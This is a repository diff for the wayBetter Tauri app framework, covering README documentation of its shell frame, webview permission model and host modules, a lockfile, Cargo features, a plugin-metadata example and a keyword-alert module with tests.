docs/STORE.md the Store: shared catalog format, signing and keys, tooling, trust model, how to add it
packages/create-waybetter/ `npm create waybetter`: plugin, theme and app scaffolds (no dependencies)
```
Both TypeScript packages are plain source (`.ts`, ESM, `type: module`) with no runtime
dependencies, so an app can bundle them with esbuild/Vite and run their tests with Node's type
stripping. Anything that needs the Tauri API (window controls) takes it as a parameter.
stripping. Anything that needs the Tauri API (window controls, the shell frame) takes it as a
parameter. The React parts (the Store screens, the shell frame) have React, and the frame dockview,
as optional peers: the app's copies are used.
## The shell frame
`packages/shell/src/frame` (`waybetter/shell/frame`) is the whole shell of a wayBetter app. An app
describes its site and gets tabs in the titlebar row, split panes and link drags into the dock, the
smart address bar, the new-tab page, the command palette, the account switcher, decks of site
columns, workspaces, the developer-mode and sync chips, the gallery/clipboard panel, pane themes,
its own panel tab, keyboard shortcuts, overlays that raise the shell above the tab webviews, the
one-layout-in-flight `tabs_sync` and session restore:
```tsx
import { invoke } from '@tauri-apps/api/core'; // or window.__TAURI__ (withGlobalTauri)
import { listen } from '@tauri-apps/api/event';
import { getCurrentWindow } from '@tauri-apps/api/window';
import { createShell, type ShellSite } from 'waybetter/shell/frame';
const site: ShellSite = { name: 'Kick', product: 'wayBetter for Kick', homeUrl, loginUrl, logoutUrl,
isSiteUrl, accounts, searchUrl, address, panel: { id, title, component }, newTab, palette,
deck, media, themes, overlays, features, start };
const Shell = createShell(site, { native: { invoke, listen, currentWindow: getCurrentWindow }, i18n });
createRoot(root).render(<Shell/>);
```
What the site supplies (`frame/site.ts`, every field documented there):
- names and pages: `name` (in messages as `{site}`), `product`, `logo`, `homeUrl`, `loginUrl`,
`logoutUrl`, `isSiteUrl`, the account rules, `searchUrl` for typed text;
- the address bar: `address(url)` (chips, usually `parseAddress` with an `AddressSite`) and an
optional `addressCompleter` (inline completions, e.g. search operators);
- slots: `panel` (the app's own tab and its sections), `newTab` (search label, quick links),
`palette` (placeholder, the literal search, completions, the panel's sections, the site's pages),
`deck` (column kinds with labels and icons, the page each loads, titles, value parsing and
completions, column flags and presets, an optional compose dock), `media` (which pages have a
composer), `themes` (a `createThemeStore(adapter)`: the app's theme documents, chrome colors via
`chromeVars`, pane themes), `overlays` (the app's own dialogs), `start()` (read site settings,
call `siteChanged()` when site text changes);
- `features`: the native features the app wires up (workspaces, sync, developer mode, plugin
palette commands); an app without them shows nothing of them.
The frame's words are `wb.*` messages in the framework catalogs (51 languages; English source in
`frame/frameMessages.ts`): the app passes its i18n instance with the framework catalogs merged in.
Styles come with the components (dockview's, then `shell.css`, `deck.css`, `workspaces.css`,
`accountSwitcher.css`, `paneTheme.css`); colors are `--wb-c-*` tokens with Night Ink fallbacks,
set by the theme store (the chrome and each pane group) and cached for the first frame:
`bootScript()` (`frame/boot.ts`) is the `boot.js` an app serves before its modules (a Vite plugin or
a build step writes it). `installPreviewMocks(handlers)` answers native commands from memory, so
the real shell renders in a plain browser for development previews and screenshots.
Native commands the frame calls: the host's (`tabs_sync`, `tab_navigate`, `tab_action`,
`shell_focus`, `shell_raise`, `open_external_url`, `window_system_menu`, `profiles_*`), and for the
features an app turns on `settings_get`, `column_configure`, `workspaces_*`, `sync_*`, `dev_*`,
`plugins_list`, `tab_run_command`, `media_get`/`gallery_*`/`clip_*`/`tab_attach_image`/
`tab_insert_text`, `theme_scopes_*` and `gfonts_*`, `app_ready`/`update_status`/`apply_update`. It
listens to `tab-state`, `tab-open`, `tab-shortcut`, `link-drag`, `open-panel`, `profiles-changed`,
`tab-commands`, `dev-event`, `update-status`, `tab-still` and `clipboard-changed`.
## The site adapter
@ -140,7 +252,7 @@ The security model is the same for every app and must stay keyed by webview labe
| webview | may call |
| --- | --- |
| `shell` (local assets only) | app, settings, vault, tab management (`tabs_sync`, `tab_navigate`, `tab_action`, ...) |
| `shell` (local assets only) | app, settings, vault, and the host's `commands::SHELL` (`tabs_sync`, `tab_navigate`, `tab_action`, `shell_raise`, `profiles_*`, `i18n_*`, ...) |
| `tab-*` (any site) | only tab chrome about itself: `tab_report`, `tab_shortcut`, `tab_link_drag` |
| `tab-*` on the exact site origin | the app's short, reviewed list of site-only commands |
| other local webviews (`popover-*`, ...) | their own narrow capability |
@ -162,8 +274,36 @@ caller's label, the webview's own URL (never the page's claim), payload bounds.
about itself; the account it reports is recorded only for its own profile, only while it is on the
site, and a shell save can never change it (`ProfileSettings::keep_accounts_from`).
`waybetter_host::testkit` checks this in an app's own tests: `Capabilities::from_dir` reads every
capability file, `assert_host_commands` keeps the host's commands shell-only / tab-only,
`assert_shell_only` / `assert_tab_only` do the same for the app's, `assert_no_plugin_apis` refuses
Tauri plugin JS APIs, and `assert_guarded` / `assert_host_guards` check that each command's first
statement checks its caller.
## What the host gives an app
- `app` (feature `app`): the whole app. `App::new(AppConfig, hooks).setup(..).run(context,
handler)` (or `run_app`) registers single-instance, deep-link (opt-in), window-state, opener,
updater (opt-in), process, notification and dialog; makes the app-data folder (0700 on Unix),
loads the profiles and the language, runs the app's setup, then builds the window (frameless
with the shell's titlebar, or the OS frame), restores its geometry (lost geometry reset),
routes helper-window closes (Windows), follows window resizes natively and adds the shell
webview (transparent: it can rise above the tabs; macOS needs the `macos-private-api` feature).
It serves `commands::SHELL` (`tabs_sync`, `tab_navigate`, `tab_action`, `open_external_url`,
`shell_focus`, `shell_ready`, `tab_still_ready`, `shell_raise`, `window_system_menu`, `profiles_get`/`profiles_set`,
`i18n_get`/`i18n_set`) and `commands::TAB` (`tab_shortcut`, `tab_link_drag`), each checking its
caller first, and dispatches every other command to the app's handler. Tab webviews get their
profile's data folder, the app's document-start scripts, navigation/pop-up/load/title/download
handling, stills and memory targets; `SiteHooks` is where the app says what only it knows (page
scripts, legacy domains, link routing, per-tab state, what a finished site page gets). Helpers:
`profiles`, `tab_profile`, `account_seen`, `tr`/`trf`, `i18n_page_script`, `notify`,
`open_external`.
To show the first window only after restored panes are placed, opt in on both sides:
`AppConfig::defer_window_show = true` and `ShellSite.deferWindowShow = true`, and grant the
shell `allow-shell-ready`. The default still shows the window immediately. An opted-in app
shows it after initial `tabs_sync`, with a three-second fallback if shell startup fails.
- `commands`: the host's command list and `manifest(&[..])` for the app's `build.rs`.
- `testkit`: see the capabilities section.
- `policy`: `SHELL_LABEL`, `tab_id`, `require_local`, `require_site_tab`, `clamp_tab_rect` (tabs never
cover the titlebar or, while restored, the resize band).
- `profiles`: `ProfileSettings` (validated, default profile required, profiles with open tabs cannot be
@ -173,21 +313,60 @@ site, and a shell save can never change it (`ProfileSettings::keep_accounts_from
- `hotfix`: minisign-verified, schema-checked, monotonic, expiring data; delivered frozen as data.
- `update`: check schedule with jitter, crash handshake (automatic apply off after two failed boots).
- `tabs`: shell payloads and validation; `deliver_script` hands JSON to a runtime member or parks it.
- `bridge`: the tab bridge (`SOURCE`, or `script(BridgeOptions)` to leave shortcut and link-drag
forwarding off when the shell does not handle them).
- `backup` + `sync`: the `.waybetter` settings backup (the app registers its sections and files;
secret-looking keys are scrubbed both ways) and encrypted snapshots in a folder the owner syncs.
- `workspaces`: validation of saved layouts (slug ids, known tab kinds, http(s) URLs, size caps).
- `devmode`: the live-reload watcher (plugins, `custom.css`, one theme file; the app turns the theme
document into its own state through a callback).
- `alerts`: keyword settings, snippets, `Throttle`, `AlertGate` over any `KeywordMatch`;
`alerts::notify` (feature `tauri`) shows a native notification.
- `media`: gallery folders and the opt-in clipboard history; `media::clipboard::watch` (feature
`tauri`) polls the OS clipboard and never reads a copy a password manager marked private.
- `gfonts` + `fonts` (feature `net`): Google Fonts downloaded natively from the two Google hosts
only, cached with a sha256 manifest and handed to site pages as bytes (`page_script(&SITE, ..)`).
- `updater` (features `tauri` + `net`): the update loop, the signed hotfix channel and
`status`/`apply`/`ready` for the app's commands, configured by an `UpdaterConfig`.
- `plugins::commands`: palette commands a site tab reports, and `run_script(&SITE, id)`.
- `store`: the wayBetter Store for any app from a `StoreConfig` (app id, link scheme, store URL,
public keys with rotation, download hosts): `waybetter://install` link parsing, the allow-list,
size caps, catalog verification (Ed25519, strict schema, each app sees only its items), `Store`
(pending links, staged installs, commit of exactly the staged bytes, records, offline catalog),
and with feature `net` no-redirect/no-cookie downloads. The shell half is `waybetter/shell`'s
`InstallHost`, `StoreView` and install controller; the tooling is `waybetter store`
(docs/STORE.md).
- `host` (feature `tauri`): `shell_only`, `tab_only`, `site_tab_only`, `emit_shell`, `tab_webview`,
`eval_in_site_tabs`, `navigate_tab`, `tab_action`, `forward_shortcut`, `forward_link_drag`,
`read_json`/`write_json`, `remove_profile_dirs`, `prune_profile_dirs`, `migrate_identifier`,
`system_menu`.
The app keeps its own `#[tauri::command]` wrappers, so IPC command names, the build-time command
manifest and the capability files stay in the app.
The app keeps its own `#[tauri::command]` wrappers for everything else, and its capability files;
its `build.rs` lists its commands through `commands::manifest`, which adds the host's.
The npm package adds the app-side tooling:
- `waybetter/build`: `buildRuntime({ entry, outfile, catalog, prefixes, ... })` bundles a page
runtime into one IIFE with the app's esbuild (`?inline` CSS as text, other CSS dropped, only the
runtime's own catalog prefixes compiled in).
- `waybetter release windows|macos`: signed native releases and the update manifest from the
app's `waybetter.release.json` (product and file names, key folder, CDN and API URLs, an optional
manifest validator). Windows: the signed NSIS build, the installer and `.sig` in
`<outDir>/upload`, `latest.json` (other platforms of the version kept); macOS: signs a universal
build's updater bundle and adds both darwin platforms. It never uploads: it prints the steps.
The key is read only into the build's environment or handed to the Tauri signer by path.
## Consuming it
wayBetter for X adds this repository as a git submodule at `waybetter/` and consumes it from source:
- Rust: a path dependency, `waybetter-host = { path = "../../../waybetter/crates/waybetter-host" }`,
with `features = ["tauri"]` enabled by the app's desktop feature.
- TypeScript: relative imports of `waybetter/packages/*/src/*.ts` from a few adapter modules. The
with `features = ["app", "net", "macos-private-api"]` enabled by the app's desktop feature (and
as a build-dependency for `commands::manifest`).
- TypeScript: relative imports of `waybetter/packages/*/src/*.ts`: the X site for the shell frame
(`src/shell/site.tsx`), the page runtime's adapter and a few X modules. Its Vite config dedupes
React, dockview and the Tauri API (the frame's imports use the app's copies) and serves
`bootScript()` as `/boot.js`. The
packages are not Bun workspace members of the app on purpose: the app's server CI clones without
submodules and runs `bun i`, which fails when a declared workspace package is missing; and Node's
type stripping refuses `.ts` files under `node_modules`, while sources outside it work with Bun's
@ -197,12 +376,16 @@ wayBetter for X adds this repository as a git submodule at `waybetter/` and cons
```sh
bun install # typescript + @types/node for the checks
bun run typecheck # tsc over both packages and their tests
bun run test # node --test (runtime + shell) and cargo test (headless host)
bun run typecheck # tsc over both packages and their tests, and create-waybetter (checkJs)
bun run test # node --test (runtime + shell), cargo test (headless host), create-waybetter
bun run test:ts
bun run test:rust
bun run check:tauri # cargo check with the tauri feature (slow: builds Tauri)
bun run test:create # scaffolds into temp dirs; its cargo check of an app is ~1 min cold
# (WAYBETTER_SKIP_CARGO_CHECK=1 skips it; needs the local crate cache)
bun run check # typecheck + build:packages + test
bun run check:tauri # cargo check with the app feature (slow: builds Tauri and its plugins)
bun run build # typecheck + cargo build
bun run pack:check # npm pack --dry-run of waybetter and create-waybetter
```
Requires Bun 1.4.2+, Node 24+ and Rust 1.88+.

View file

@ -6,9 +6,20 @@
"name": "waybetter",
"devDependencies": {
"@types/node": "^24.0.0",
"@types/react": "^19.0.0",
"@types/react-dom": "^19.0.0",
"acorn": "^8.15.0",
"dockview": "^4",
"typescript": "^5.9.0",
},
},
"packages/create-waybetter": {
"name": "create-waybetter",
"version": "0.1.0",
"bin": {
"create-waybetter": "bin/create-waybetter.js",
},
},
"packages/runtime": {
"name": "@waybetter/runtime",
"version": "0.1.0",
@ -17,16 +28,59 @@
"name": "@waybetter/shell",
"version": "0.1.0",
},
"packages/waybetter": {
"name": "waybetter",
"version": "0.4.0",
"bin": {
"waybetter": "bin/waybetter.mjs",
},
"devDependencies": {
"@types/node": "^24.0.0",
"typescript": "^5.9.0",
},
"peerDependencies": {
"acorn": ">=8.0.0",
"dockview": ">=4.0.0",
"esbuild": ">=0.20.0",
"react": ">=18.0.0",
"react-dom": ">=18.0.0",
},
"optionalPeers": [
"acorn",
"dockview",
"esbuild",
"react",
"react-dom",
],
},
},
"packages": {
"@types/node": ["@types/node@24.19.0", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-zY+5tKxXdhGh1PYI0ac+7juvEu4OI6vWtVVoj5i2m42jxAY1U+zHGt6QCyOFwykdP62sM3MJ9stoYYUw5aCWew=="],
"@types/react": ["@types/react@19.3.0", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-N0rFCuH9YoxG9/m61l9MfpJKfmLOVU0em7ipIz6TRgSSkvReLB9vL85GB+yr8Bs5leqpvg96JSwF4ZS1s4viQg=="],
"@types/react-dom": ["@types/react-dom@19.3.0", "", { "peerDependencies": { "@types/react": "^19.3.0" } }, "sha512-ZI7bU42mZXXKHn/qNLEw2IrbiINU7X5+vfgdixBHkCNpYWXjKgfQ/P+uyGb5CjOLB9UcnTeg3rylQtV2hym44Q=="],
"@waybetter/runtime": ["@waybetter/runtime@workspace:packages/runtime"],
"@waybetter/shell": ["@waybetter/shell@workspace:packages/shell"],
"acorn": ["acorn@8.18.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ=="],
"create-waybetter": ["create-waybetter@workspace:packages/create-waybetter"],
"csstype": ["csstype@3.2.3", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
"dockview": ["dockview@4.13.1", "", { "dependencies": { "dockview-core": "^4.13.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-K8xnYt3Rvkx8MYKHaEsb8aFaPyQclKRRkXS9JcpQPZUgqxumTLnSidgdd6uIfzEps6yJsXoZGQGJ9PtcaKyDcQ=="],
"dockview-core": ["dockview-core@4.13.1", "", {}, "sha512-+7vR0ZEoL8CNck6NqDVUMqBT22niwBu5CMMI137dZ3c8NDc7c5Si+3dGEqQgM4lNtHBLAtvypo1C4p21J2wkiQ=="],
"react": ["react@19.3.0", "", {}, "sha512-E8LUcbtBWt20bbl2YoHfx4ZDBdxVTfOKtCZn9cDSJ4l6/nuoApcpIBcj47t2wZoVX8g2ZHuMHbiShgCR1T5Sog=="],
"typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
"undici-types": ["undici-types@7.24.6", "", {}, "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg=="],
"waybetter": ["waybetter@workspace:packages/waybetter"],
}
}

File diff suppressed because it is too large Load diff

View file

@ -14,7 +14,15 @@ path = "src/lib.rs"
[features]
default = []
# Tauri glue (webview helpers, window system menu). Off for headless tests.
tauri = ["dep:tauri", "dep:windows", "dep:webview2-com"]
tauri = ["dep:tauri", "dep:tauri-plugin-notification", "dep:tauri-plugin-updater", "dep:tokio", "dep:arboard", "dep:clipboard-win", "dep:windows", "dep:webview2-com", "dep:gtk", "dep:objc2-app-kit"]
# Store downloads (`store::net`): allow-listed https, no redirects or cookies, size caps.
net = ["dep:reqwest", "dep:rustls"]
# The whole app (`app::run_app`): window, shell and tab webviews, the generic commands and the
# Tauri plugins every wayBetter app registers.
app = ["tauri", "dep:tauri-plugin-single-instance", "dep:tauri-plugin-deep-link", "dep:tauri-plugin-window-state", "dep:tauri-plugin-opener", "dep:tauri-plugin-process", "dep:tauri-plugin-dialog"]
# macOS: the shell webview is transparent (it can rise above the tabs for its overlays); needs
# `"macOSPrivateApi": true` in the app's tauri.conf.json. Other platforms always are.
macos-private-api = ["tauri?/macos-private-api"]
[dependencies]
serde = { version = "1", features = ["derive"] }
@ -24,12 +32,52 @@ sha2 = "0.10"
chrono = { version = "0.4", default-features = false, features = ["clock"] }
minisign-verify = "0.2"
base64 = "0.22"
# PNG encoding of clipboard images (media::encode_png).
image = { version = "0.25", default-features = false, features = ["png"] }
# Store catalog signatures (Ed25519 over the exact catalog bytes).
ed25519-dalek = "2"
# The OS language preference (first run, "Follow system"); no dependencies of its own on desktop.
sys-locale = "0.3"
# Encrypted settings sync (a folder the owner picks): Argon2id key from the passphrase,
# XChaCha20-Poly1305 per snapshot. Pure Rust (RustCrypto), no server, no account.
argon2 = { version = "0.5", default-features = false, features = ["alloc"] }
chacha20poly1305 = { version = "0.10", default-features = false, features = ["alloc"] }
getrandom = "0.2"
tauri = { version = "2", features = ["unstable"], optional = true }
# Native OS notifications (alerts::notify); the app registers the plugin.
tauri-plugin-notification = { version = "2", optional = true }
# Signed native updates (updater, with `net`); the app registers the plugin with its endpoint and key.
tauri-plugin-updater = { version = "2", optional = true }
# The updater loop's waits.
tokio = { version = "1", features = ["time"], optional = true }
# Opt-in local clipboard history (media::clipboard), polled natively.
arboard = { version = "3", optional = true }
# `app`: single-instance (a second launch focuses the window and hands over its link), install
# links, window geometry, external links, relaunch after an update, and native dialogs.
tauri-plugin-single-instance = { version = "2", optional = true, features = ["deep-link"] }
tauri-plugin-deep-link = { version = "2", optional = true }
tauri-plugin-window-state = { version = "2", optional = true }
tauri-plugin-opener = { version = "2", optional = true }
tauri-plugin-process = { version = "2", optional = true }
tauri-plugin-dialog = { version = "2", optional = true }
reqwest = { version = "0.13", default-features = false, features = ["rustls-no-provider"], optional = true }
rustls = { version = "0.23", default-features = false, features = ["ring"], optional = true }
[target.'cfg(windows)'.dependencies]
windows = { version = "0.62", features = ["Win32_Foundation", "Win32_UI_WindowsAndMessaging"], optional = true }
windows = { version = "0.62", features = ["Win32_Foundation", "Win32_System_Com", "Win32_System_Threading", "Win32_UI_Shell", "Win32_UI_WindowsAndMessaging"], optional = true }
# The WebView2 COM interfaces wry already links (hidden tabs: low memory target).
webview2-com = { version = "0.39", optional = true }
# Clipboard sequence number (skip unchanged polls) and password-manager exclusion formats.
clipboard-win = { version = "5", optional = true }
[target.'cfg(target_os = "linux")'.dependencies]
# The GTK version tauri/wry link: child webviews are laid out in a GtkOverlay (host::place_child).
gtk = { version = "0.18", optional = true }
[target.'cfg(target_os = "macos")'.dependencies]
# The AppKit bindings wry already links (host::raise_shell re-orders the shell's WKWebView).
objc2-app-kit = { version = "0.3", optional = true, default-features = false, features = ["std", "NSGraphics", "NSResponder", "NSView", "NSWindow"] }
[dev-dependencies]
tempfile = "3"
tokio = { version = "1", features = ["rt"] }

View file

@ -0,0 +1,32 @@
//! Prints what the plugin store reads from `*.plugin.js` files, one JSON object per line:
//! `parse_meta` (name, description, version, author) and `valid_file_name`. create-waybetter's
//! tests run it on generated plugins so they are checked with the store's own rules.
//!
//! cargo run --example plugin_meta -- path/to/one.plugin.js [more.plugin.js ...]
use std::{env, fs, path::Path, process::ExitCode};
use waybetter_host::plugins::{parse_meta, valid_file_name};
fn main() -> ExitCode {
for arg in env::args().skip(1) {
let path = Path::new(&arg);
let file = path.file_name().and_then(|name| name.to_str()).unwrap_or_default();
let Ok(source) = fs::read_to_string(path) else {
eprintln!("cannot read {arg}");
return ExitCode::FAILURE;
};
let meta = parse_meta(file, &source);
println!(
"{}",
serde_json::json!({
"file": meta.file,
"name": meta.name,
"description": meta.description,
"version": meta.version,
"author": meta.author,
"validFileName": valid_file_name(file),
})
);
}
ExitCode::SUCCESS
}

View file

@ -0,0 +1,256 @@
//! Local-only keyword alerts: the owner's keyword list, keyword matching, snippets and rate
//! limiting, plus (with the `tauri` feature) the native notification itself. Nothing here touches
//! the network; matches come from what the site's own UI already fetched, reported by the page and
//! re-checked by the app (what a match is about, e.g. a post id or an author, is the app's).
use serde::{Deserialize, Serialize};
use std::collections::{HashMap, HashSet, VecDeque};
use std::time::{Duration, Instant};
pub const MAX_KEYWORDS: usize = 32;
pub const MIN_KEYWORD_CHARS: usize = 2;
pub const MAX_KEYWORD_CHARS: usize = 64;
pub const MAX_SNIPPET_CHARS: usize = 280;
/// One notification per keyword per this interval.
pub const PER_KEY_INTERVAL: Duration = Duration::from_secs(60);
/// At most `GLOBAL_LIMIT` keyword notifications per `GLOBAL_WINDOW`.
pub const GLOBAL_WINDOW: Duration = Duration::from_secs(600);
pub const GLOBAL_LIMIT: usize = 6;
/// Items (posts, messages...) remembered as already notified.
const SEEN_ITEMS: usize = 2_048;
#[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase", default)]
pub struct AlertSettings {
pub enabled: bool,
pub keywords: Vec<String>,
}
fn collapse_spaces(value: &str) -> String {
value.split_whitespace().collect::<Vec<_>>().join(" ")
}
pub fn normalize_keyword(value: &str) -> String {
collapse_spaces(value).to_lowercase()
}
impl AlertSettings {
/// Trims, lowercases and de-duplicates keywords; rejects oversized lists or odd keywords.
pub fn validated(self) -> Result<Self, String> {
let mut seen = HashSet::new();
let mut keywords = Vec::new();
for raw in self.keywords {
let keyword = normalize_keyword(&raw);
if keyword.is_empty() {
continue;
}
let chars = keyword.chars().count();
if !(MIN_KEYWORD_CHARS..=MAX_KEYWORD_CHARS).contains(&chars) || keyword.chars().any(char::is_control) {
return Err(format!(
"VALIDATION: keywords must be {MIN_KEYWORD_CHARS}-{MAX_KEYWORD_CHARS} characters"
));
}
if seen.insert(keyword.clone()) {
keywords.push(keyword);
}
}
if keywords.len() > MAX_KEYWORDS {
return Err(format!("VALIDATION: at most {MAX_KEYWORDS} keywords"));
}
Ok(Self { enabled: self.enabled, keywords })
}
/// Keywords the site page should watch for; empty when alerts are off.
pub fn active_keywords(&self) -> &[String] {
if self.enabled {
&self.keywords
} else {
&[]
}
}
/// The configured keyword a page-reported `keyword` stands for (normalized), if alerts are on.
pub fn configured(&self, keyword: &str) -> Result<String, String> {
let keyword = normalize_keyword(keyword);
if !self.active_keywords().contains(&keyword) {
return Err("FORBIDDEN: keyword is not configured".into());
}
Ok(keyword)
}
}
/// The notification snippet for page-reported `text`: control characters and runs of white space
/// collapsed, at most [`MAX_SNIPPET_CHARS`]. The text must really contain the (normalized) keyword.
pub fn snippet(text: &str, keyword: &str) -> Result<String, String> {
if text.len() > MAX_SNIPPET_CHARS * 8 {
return Err("VALIDATION: text too long".into());
}
let text = collapse_spaces(&text.chars().map(|ch| if ch.is_control() { ' ' } else { ch }).collect::<String>());
if !text.to_lowercase().contains(keyword) {
return Err("VALIDATION: text does not contain the keyword".into());
}
Ok(text.chars().take(MAX_SNIPPET_CHARS).collect())
}
/// Per-key minimum interval plus a global sliding-window cap.
pub struct Throttle {
per_key: Duration,
window: Duration,
limit: usize,
last: HashMap<String, Instant>,
recent: VecDeque<Instant>,
}
impl Throttle {
pub fn new(per_key: Duration, window: Duration, limit: usize) -> Self {
Self { per_key, window, limit, last: HashMap::new(), recent: VecDeque::new() }
}
pub fn allow(&mut self, key: &str, now: Instant) -> bool {
while self.recent.front().is_some_and(|at| now.duration_since(*at) >= self.window) {
self.recent.pop_front();
}
if self.recent.len() >= self.limit {
return false;
}
if self.last.get(key).is_some_and(|at| now.duration_since(*at) < self.per_key) {
return false;
}
if self.last.len() > 256 {
let per_key = self.per_key;
self.last.retain(|_, at| now.duration_since(*at) < per_key);
}
self.last.insert(key.to_owned(), now);
self.recent.push_back(now);
true
}
}
/// A keyword match about one item of the site (a post, a message...).
pub trait KeywordMatch {
/// The item's id: each item notifies at most once.
fn item_id(&self) -> &str;
/// The keyword it matched, as the page reported it.
fn keyword(&self) -> &str;
}
/// Keyword alerts: each item notifies at most once, then the throttle applies (per keyword, and
/// at most [`GLOBAL_LIMIT`] per [`GLOBAL_WINDOW`]).
pub struct AlertGate {
seen: HashSet<String>,
order: VecDeque<String>,
throttle: Throttle,
}
impl Default for AlertGate {
fn default() -> Self {
Self {
seen: HashSet::new(),
order: VecDeque::new(),
throttle: Throttle::new(PER_KEY_INTERVAL, GLOBAL_WINDOW, GLOBAL_LIMIT),
}
}
}
impl AlertGate {
pub fn allow(&mut self, hit: &impl KeywordMatch, now: Instant) -> bool {
if !self.seen.insert(hit.item_id().to_owned()) {
return false;
}
self.order.push_back(hit.item_id().to_owned());
if self.order.len() > SEEN_ITEMS {
if let Some(old) = self.order.pop_front() {
self.seen.remove(&old);
}
}
self.throttle.allow(&normalize_keyword(hit.keyword()), now)
}
}
/// Shows a native OS notification (the app registers `tauri-plugin-notification`); a failure is
/// logged under the product name and otherwise ignored.
#[cfg(feature = "tauri")]
pub fn notify<R: tauri::Runtime>(app: &tauri::AppHandle<R>, product: &str, title: &str, body: &str) {
use tauri_plugin_notification::NotificationExt;
if let Err(error) = app.notification().builder().title(title).body(body).show() {
eprintln!("{product}: notification failed: {error}");
}
}
#[cfg(test)]
mod tests {
use super::*;
struct Hit(&'static str, &'static str);
impl KeywordMatch for Hit {
fn item_id(&self) -> &str {
self.0
}
fn keyword(&self) -> &str {
self.1
}
}
fn settings(words: &[&str]) -> AlertSettings {
AlertSettings { enabled: true, keywords: words.iter().map(|w| w.to_string()).collect() }
.validated()
.unwrap()
}
#[test]
fn settings_normalize_and_dedupe() {
let s = settings(&[" Rust Lang ", "rust lang", "", "Tauri"]);
assert_eq!(s.keywords, vec!["rust lang".to_string(), "tauri".to_string()]);
}
#[test]
fn settings_reject_bad_keywords() {
assert!(AlertSettings { enabled: true, keywords: vec!["a".into()] }.validated().is_err());
assert!(AlertSettings { enabled: true, keywords: vec!["x".repeat(65)] }.validated().is_err());
let many = AlertSettings { enabled: true, keywords: (0..33).map(|i| format!("kw{i}")).collect() };
assert!(many.validated().is_err());
assert!(AlertSettings { enabled: true, keywords: vec!["a\u{7}b".into()] }.validated().is_err());
}
#[test]
fn only_configured_keywords_while_enabled() {
let mut s = settings(&["tauri"]);
assert_eq!(s.configured(" TAURI ").unwrap(), "tauri");
assert!(s.configured("electron").is_err());
s.enabled = false;
assert!(s.active_keywords().is_empty());
assert!(s.configured("tauri").is_err());
}
#[test]
fn snippets_are_plain_bounded_and_contain_the_keyword() {
assert_eq!(snippet("I love\nTauri 2", "tauri").unwrap(), "I love Tauri 2");
assert!(snippet("nothing here", "tauri").is_err());
let long = format!("tauri {}", "a".repeat(500));
assert_eq!(snippet(&long, "tauri").unwrap().chars().count(), MAX_SNIPPET_CHARS);
assert!(snippet(&"tauri ".repeat(MAX_SNIPPET_CHARS * 2), "tauri").unwrap_err().contains("too long"));
}
#[test]
fn throttle_limits_per_key_and_globally() {
let mut t = Throttle::new(Duration::from_secs(60), Duration::from_secs(600), 3);
let now = Instant::now();
assert!(t.allow("a", now));
assert!(!t.allow("a", now + Duration::from_secs(30)));
assert!(t.allow("a", now + Duration::from_secs(61)));
assert!(t.allow("b", now + Duration::from_secs(62)));
assert!(!t.allow("c", now + Duration::from_secs(63)));
assert!(t.allow("c", now + Duration::from_secs(601)));
}
#[test]
fn gate_notifies_each_item_once_and_throttles_per_keyword() {
let mut gate = AlertGate::default();
let now = Instant::now();
assert!(gate.allow(&Hit("1", "tauri"), now));
assert!(!gate.allow(&Hit("1", "tauri"), now + Duration::from_secs(120)));
assert!(gate.allow(&Hit("2", "Tauri"), now + Duration::from_secs(120)));
assert!(!gate.allow(&Hit("3", "TAURI "), now + Duration::from_secs(130)), "same keyword within a minute");
}
}

View file

@ -0,0 +1,905 @@
//! The whole wayBetter app around one site: [`run_app`] (or [`App`]) makes the window, the trusted
//! local shell webview and one child webview per tab, registers the Tauri plugins every app uses,
//! and serves the generic commands ([`crate::commands`]): tab layout and actions, the shell's
//! focus and raise, external links, the window menu, account profiles and the language.
//!
//! The app hands it an [`AppConfig`] (its site, window title and size, which plugins it
//! configures) and a [`SiteHooks`] implementation for what only it knows (the page scripts of a
//! new tab, what happens when a site page loads, its own per-tab state), plus its own commands.
//!
//! ```ignore
//! pub fn run() {
//! waybetter_host::app::App::new(CONFIG, MySite)
//! .setup(|app| { app.manage(MyState::load(app)); Ok(()) })
//! .run(tauri::generate_context!(), tauri::generate_handler![my_command]);
//! }
//! ```
use crate::{
commands,
host::{self, emit_shell, emit_tab_state, read_json, shell_only, tab_only, tab_webview, write_json},
i18n::{self, NativeStrings},
layout, policy,
profiles::{self, AccountSeen, ProfileSettings},
site::SiteSpec,
tabs::{self, parse_web_url, OpenRequest, TabLayout, TabState},
};
use serde::Serialize;
use std::collections::{HashMap, HashSet};
use std::path::PathBuf;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex, MutexGuard};
use tauri::webview::{DownloadEvent, NewWindowResponse, PageLoadEvent};
use tauri::{AppHandle, LogicalPosition, LogicalSize, Manager, Webview, WebviewBuilder, WebviewUrl, Wry};
use tauri_plugin_opener::OpenerExt;
use url::Url;
/// The account profiles (app data), see [`profiles`].
pub const PROFILES_FILE: &str = "profiles.json";
/// The owner's language and the strings native code needs (app data), see [`i18n`].
pub const I18N_FILE: &str = "i18n.json";
/// What differs between wayBetter apps at the window level.
#[derive(Clone, Copy, Debug)]
pub struct AppConfig {
pub site: &'static SiteSpec,
/// Window title (and the name in "failed to launch" messages).
pub title: &'static str,
/// A previous bundle identifier whose data folders are moved over once ([`host::migrate_identifier`]).
pub legacy_identifier: Option<&'static str>,
/// First-launch window size and the smallest size, in logical px.
pub window_size: (f64, f64),
pub min_window_size: (f64, f64),
/// The window's color before the shell paints (no white flash).
pub background: (u8, u8, u8),
